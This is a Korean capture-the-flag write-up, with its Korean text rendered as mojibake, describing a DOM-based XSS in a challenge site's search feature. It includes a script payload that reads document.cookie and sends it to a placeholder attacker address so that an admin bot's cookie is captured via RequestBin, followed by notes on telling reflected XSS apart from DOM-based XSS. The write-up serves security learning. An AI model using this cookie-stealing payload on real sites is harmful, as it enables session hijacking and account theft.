[SegFault] (XSS)
XSS Challenge
๊ด๋ฆฌ์์ Cookie๋ฅผ ํ์ทจํ์ธ์!
๋ฌธ์ ํ์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ XSS์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ , ๊ด๋ฆฌ์ Bot์ ํด๋น ๋งํฌ๋ฅผ ์ ๋ ฅํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ก Cookie ๊ฐ์ ํ์ทจํ์ฌ ๋ฐ์ผ๋ฉด Flag๋ฅผ ํ๋ํ ์ ์๋ ๋ฐฉ์์ผ๋ก ์ด๋ฃจ์ด์ ธ ์๋ค.
ํ์ง๋ง ํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ฅผ ๊ฐ๊ณ ์์ง ์์ผ๋ฏ๋ก RequestBin์ ์ด์ฉํ๊ธฐ๋ก ํ๋ค.
์ฐ์ ์์ [๊ด๋ฆฌ์ ๋ฐฉ๋ฌธ Bot Link]์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ URL ์ ๋ ฅ์ฐฝ์ ๋ณผ ์ ์๋ค.
XSS ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ๊ณ ํด๋น ๋งํฌ๋ฅผ ์์ URL์ ์ ๋ ฅํ๋ฉด ๊ณต๊ฒฉ์ ์๋ฒ(RequestBin)๋ก ์ฟ ํค ๊ฐ์ด ๋ ์์ค๋ ๋ฐฉ์์ด๋ค.
์ด์ ์๋์ ๋ฌธ์ ๋งํฌ์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
์ฐ์ ํ์๊ฐ์ ํ ๋ก๊ทธ์ธ์ ์๋ํด๋ณธ๋ค.
๋ง์ดํ์ด์ง์์๋ XSS ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋์ง ์์ ๊ณต์ง์ฌํญ์ ์ดํด๋ณด๊ธฐ๋ก ํ๋ค.
๋จผ์ ๊ฒ์ ๊ธฐ๋ฅ์ ํ์ธํด๋ณธ๋ค.
XSS Point
์ ๋ ฅ ๊ฐ์ ๋ํ์ฌ ๋ฐ์ฌ๋์ด ๋์ค๋ ์ถ๋ ฅ๊ฐ์ด ์กด์ฌํ๋ค.
ํ์ง๋ง Burp๋ฅผ ํตํด ํ์ธํด๋ณธ ๊ฒฐ๊ณผ ์ถ๋ ฅ๋๋ ๊ฐ์ด ๋ ธ์ถ๋์ด ์์ง ์๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
์ด๋ฐ ๊ฒฝ์ฐ์๋ Reflected๊ฐ ์๋ Dom Based ๋ฅผ ์๊ฐํด์ผ ํ๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
Dom Based ๋ฅผ ์ด์ฉํ๊ธฐ ์ํ ํ์ด๋ก๋(Paylaod)๋ฅผ ์์ฑํ๋ค..
ํ์ด๋ก๋(Payload)
document.write="<script>
var cookieData = document.cookie;
var i = new Image();
i.src = "https://๊ณต๊ฒฉ์ ์ฃผ์/?cookie="+cookieData;
</script>"
์์ ํ์ด๋ก๋๋ฅผ ๊ฒ์์ด์ ์ ๋ ฅํ๋ ๊ฒฝ์ฐ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์คํฌ๋ฆฝํธ ์ฝ์
ํด๋น ์์ฒญ์ ๊ฒฝ์ฐ GET Method ์ด๋ฏ๋ก ํด๋น URL์ ๊ด๋ฆฌ์ Bot์ ๋ณด๋ด์ค๋ค.
ํ์ทจ๋ ์ฟ ํค(Cookie)๊ฐ ๊ณต๊ฒฉ์์ ์ฃผ์(RequestBin)์ผ๋ก ๋ฐ์์ ์ง๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์์ ๊ฐ์ด ๊ฒ์์ด๋ฅผ ์ ๋ ฅํ๋ ์ผ๋ จ์ ๊ณผ์ ์ ๋ด์ URL๋ก์ ์ ์ ์ ๋๋ฅผ ํตํ์ฌ ์ํ๋ flag๊ฐ ํ๋๋ ๊ฒ์ ํ์ธํ์๋ค.
์ทจ์ฝ์ ์ ๊ดํ ๊ณ ์ฐฐ
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ ๊ฒ์ ๊ธฐ๋ฅ์ ์ ๋ ฅ๊ฐ์ด ํ๋ฉด์ ๊ทธ๋๋ก ๋ ธ์ถ๋๋ ๊ฒ์ ์ด์ฉํ ์ทจ์ฝ์ ์ด๋ค.
ํ๋ฉด์ ์ ๋ ฅ๊ฐ์ด ๊ทธ๋๋ก ๋ ธ์ถ๋๋ ๊ฒฝ์ฐ Reflected XSS ์ทจ์ฝ์ ์ด๋ผ๊ณ ์ผ๋ฐ์ ์ผ๋ก ์๊ฐํ ์ ์์ง๋ง, Reflected ์ ๊ฒฝ์ฐ ํด๋น ์์ฒญ์ ์๋ต์ '๋ฐ์ฌ' ๋์ด ์ง์ ์ ์ผ๋ก ๋ ธ์ถ๋์ด ์์ด์ผํ๋ค.
ํ์ง๋ง ๋ณธ ๋ฌธ์ ์ ์ทจ์ฝ์ ์ ๊ฒฝ์ฐ ์ ๋ ฅ๊ฐ์ด ํ๋ฉด์๋ ๋ ธ์ถ๋์ด ์์ผ๋, Burp๋ก ํ์ธํ ์๋ต ์์ฒด์๋ ์กด์ฌํ์ง ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค. ์ด๋ฐ ๊ฒฝ์ฐ์๋ Reflected XSS ๊ฐ ์๋ Dom Based ์ทจ์ฝ์ ์ ์์ฌํด๋ด์ผ ํ๋ค.
Dom Based ์ ๊ฒฝ์ฐ ๋ธ๋ผ์ฐ์ ์์ ์กฐ๋ฆฝํ์ฌ ๋์จ ๊ฒ์ผ๋ก ํด๋น ์ทจ์ฝ์ ๊ณผ Reflected๋ฅผ ์ ๊ตฌ๋ถํ ์ค ์์์ผ ํ๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์